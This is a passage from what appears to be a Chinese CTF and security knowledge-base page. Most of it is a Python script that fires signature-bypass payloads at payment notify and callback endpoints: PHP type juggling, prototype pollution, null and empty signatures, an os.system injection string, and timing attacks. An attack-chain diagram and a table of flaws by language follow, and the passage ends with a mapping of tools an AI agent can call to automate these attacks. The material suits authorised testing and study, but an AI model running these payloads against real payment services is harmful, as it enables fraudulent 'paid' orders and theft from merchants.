            if r.status_code == 200 and "invalid" not in r.text.lower():
                self.add("PHP-zero-equality",
                    f"status=0 bypass at {path}")

    def check_in_array_juggle(self):
        """PHP in_array() 类型混淆"""
        # in_array(0, ['admin']) → true
        for path in ["/api/user/role", "/api/admin/check"]:
            r = S.post(self.base + path, json={"role": 0}, timeout=10)
            if r.status_code == 200:
                self.add("PHP-inarray",
                    f"in_array(0, ...) bypass at {path}")

    def check_extract_overwrite(self):
        """PHP extract/parse_str 变量覆盖"""
        OVERWRITES = [
            {"trade_status": "TRADE_SUCCESS"},
            {"status": "paid"},
            {"admin": True, "verified": True},
        ]
        for path in ["/notify", "/callback"]:
            for data in OVERWRITES:
                r = S.post(self.base + path, data=data, timeout=10)
                if r.status_code == 200:
                    self.add("PHP-extract",
                        f"extract overwrite at {path} with {data}")
                    return

    # ==================== Python ====================

    def check_python_hook(self):
        """Python 签名 hook 绕过"""
        # 测试是否可以用 __import__ 绕过 (dangerous)
        payloads = [
            {"data": "__import__('os').system('id')", "sign": "x"},
            {"data": None, "sign": "x"},
            {"data": float('nan'), "sign": "x"},
        ]
        for path in ["/notify", "/api/verify", "/api/callback"]:
            for data in payloads:
                try:
                    r = S.post(self.base + path, json=data, timeout=10)
                    if r.status_code == 200:
                        self.add("Python-exception",
                            f"Exception bypass at {path} with {data}")
                except:
                    pass

    def check_python_type_coercion(self):
        """Python 类型强制绕过"""
        # Decimal vs float 不匹配导致异常
        pass  # 需具体触发方式

    # ==================== JavaScript ====================

    def check_js_type_coercion(self):
        """JavaScript 类型强制绕过"""
        # '__proto__' pollution
        r = S.post(self.base + "/notify", json={
            "__proto__": {"admin": True},
            "sign": "x", "order_id": "TEST",
        }, timeout=10)
        if r.status_code == 200:
            self.add("JS-proto-pollution",
                "__proto__ pollution via notify")

        # Array coercion
        r = S.post(self.base + "/notify", json={
            "sign": ["fake"],
            "order_id": "TEST",
        }, timeout=10)
        if r.status_code == 200:
            self.add("JS-array-coercion",
                "Array to string coercion bypass")

    # ==================== Java ====================

    def check_java_common(self):
        """Java 常见缺陷"""
        # NullPointerException 绕过
        for path in ["/notify", "/api/verify"]:
            r = S.post(self.base + path, json={
                "sign": None,
                "order_id": "TEST",
            }, timeout=10)
            if r.status_code == 200:
                self.add("Java-null",
                    f"Null sign bypass at {path}")

            # Missing field
            r = S.post(self.base + path, json={
                "order_id": "TEST",
                # 没有 sign 字段!
            }, timeout=10)
            if r.status_code == 200:
                self.add("Java-null",
                    f"Missing sign field bypass at {path}")

    # ==================== 跨语言通用 ====================

    def check_exception_bypass(self):
        """异常导致签名跳过"""
        TRIGGER_PAYLOADS = [
            # 超大 payload
            {"data": "x" * 1000000, "sign": "test"},
            # 深度嵌套
            {"data": {"a": {"b": {"c": {"d": {}}}}}, "sign": "test"},
            # 类型错误
            {"data": object(), "sign": "test"},
            # 递归
            [],  # 空列表
            # 非 JSON
        ]
        for path in ["/notify", "/callback", "/api/verify"]:
            for payload in TRIGGER_PAYLOADS[:2]:  # 前两个
                try:
                    r = S.post(self.base + path, json=payload, timeout=30)
                    if r.status_code == 200:
                        self.add("Exception-bypass",
                            f"Exception trigger at {path}: {str(payload)[:50]}")
                except:
                    pass

            # Null byte
            r = S.post(self.base + path, json={
                "sign": "abc\x00def",
                "order_id": "TEST\x00",
            }, timeout=10)
            if r.status_code == 200:
                self.add("Exception-bypass",
                    f"Null byte bypass at {path}")

    def check_truncation(self):
        """截断绕过"""
        # 只发部分签名
        for path in ["/notify", "/callback"]:
            r = S.post(self.base + path, json={
                "order_id": "TEST",
                "sign": "00",           # 只有 1 字节
                "status": "paid",
            }, timeout=10)
            if r.status_code == 200:
                self.add("Truncation",
                    f"Short sign (1 byte) accepted at {path}")

            # 空签名
            r = S.post(self.base + path, json={
                "order_id": "TEST",
                "sign": "",
                "status": "paid",
            }, timeout=10)
            if r.status_code == 200:
                self.add("Truncation",
                    f"Empty sign accepted at {path}")

    def check_timing(self):
        """时序泄露检测 (基础版)"""
        # 用不同偏移的签名测量时间
        correct_prefix = "a" * 32  # 假设 32 hex chars
        wrong_early = "b" + "a" * 31
        wrong_late  = "a" * 31 + "b"

        def measure(sig):
            times = []
            for _ in range(20):
                start = time.perf_counter()
                try:
                    S.post(self.base + "/notify", json={
                        "order_id": "TEST", "sign": sig,
                    }, timeout=10)
                except:
                    pass
                times.append(time.perf_counter() - start)
            return statistics.median(times)

        t_early = measure(wrong_early)
        t_late = measure(wrong_late)
        diff = t_late - t_early

        if diff > 0.001:  # > 1ms 差异
            self.add("Timing-leak",
                f"Timing difference detected: {diff:.4f}s")
            print(f"  [i] Early byte wrong: {t_early:.4f}s")
            print(f"  [i] Late byte wrong:  {t_late:.4f}s")
            print(f"  [i] Diff:             {diff:.4f}s ← 可时序攻击")


if __name__ == "__main__":
    print("=" * 60)
    print(" Signature Implementation Bug Auditor")
    print("=" * 60)

    auditor = SignatureImplAuditor(TARGET)
    findings = auditor.audit_all()

    print(f"\n{'='*60}")
    print(f" Audit Complete — {len(findings)} finding(s)")
    print(f"{'='*60}")

    if findings:
        print("\nSummary by category:")
        cats = {}
        for f in findings:
            cat = f["category"]
            cats[cat] = cats.get(cat, 0) + 1
        for cat, count in sorted(cats.items()):
            print(f"  {cat:20s}: {count}")
    else:
        print("\n  No implementation bugs found (or endpoints not reachable)")

攻击链总结 ​

mermaid
graph TD
    PHP_STRCMP["PHP strcmp数组<br/>sign[]=x → NULL==0"] --> BYPASS["签名绕过"]
    PHP_MD5["PHP md5/sha1数组<br/>data[]=x → NULL"] --> BYPASS
    PHP_MAGIC["PHP Magic Hash<br/>\"0e...\"==\"0e...\""] --> BYPASS
    PHP_ZERO["PHP 0==string<br/>status=0 → \"paid\"==0"] --> BYPASS
    PHP_EXTRACT["PHP extract/parse_str<br/>变量覆盖"] --> BYPASS
    PY_EXCEPT["Python 异常跳过<br/>TypeError → default allow"] --> BYPASS
    JS_TYPE["JS 类型强制<br/>\"0\"==false, []==\"\""] --> BYPASS
    JAVA_NULL["Java Null<br/>Missing field → NPE → allow"] --> BYPASS
    TIMING["时序攻击<br/>字节级恢复签名"] --> FORGE["签名伪造"]
    TRUNC["截断<br/>只查前4/空签通过"] --> BYPASS
    BYPASS --> FLAG["🏴 签名信任被攻破"]
    FORGE --> FLAG

Benchmark: 各语言实现缺陷分布 ​

缺陷分类PHPPythonJSJava频率 (CTF)
数组绕过 strcmp/md5/sha1高低低低极高
Type Juggling / 类型强制高中中低极高
Magic Hash 攻击极高无无无极高
异常导致默认 allow中高中中高
时序攻击 (constant-time)低中中中中
Null 字节截断中低低低中
编码/Unicode 归一化中中中中中
空签名/缺失签名高高高高极高

Evidence ​

  • signature_impl_matrix.jsonl: path、method、content-type、payload 家族、签名字段、状态码、响应 hash、响应摘要。
  • payment_state_diff.json: 回调前后 orders/payments/entitlements/wallet 快照。
  • language_fingerprint.json: header、cookie、错误栈、路由格式、框架指纹与命中 payload 家族。
  • timing_samples.csv: 签名前缀、样本数、中位数、p95、baseline、可分辨阈值。
  • 成功样本: 空签名/数组签名/magic hash/异常路径触发 paid、发货、余额或 flag。
  • 失败样本: 所有变体响应 hash 一致且状态无变化;签名比较进入严格分支;订单/权益快照不变。

MCP 工具映射 ​

AI Agent 可调用以下 MCP 工具自动完成或加速上述攻击步骤:

攻击步骤MCP 工具说明
签名实现探测http_probeHTTP GET 探测签名实现漏洞
知识检索kb_router按签名实现攻击信号搜索知识库
支付链路跳转kb_router命中 notify/callback 后跳转支付回调与订单状态机文档

GPL-3.0 · 仅供授权环境下的学习与防御性研究使用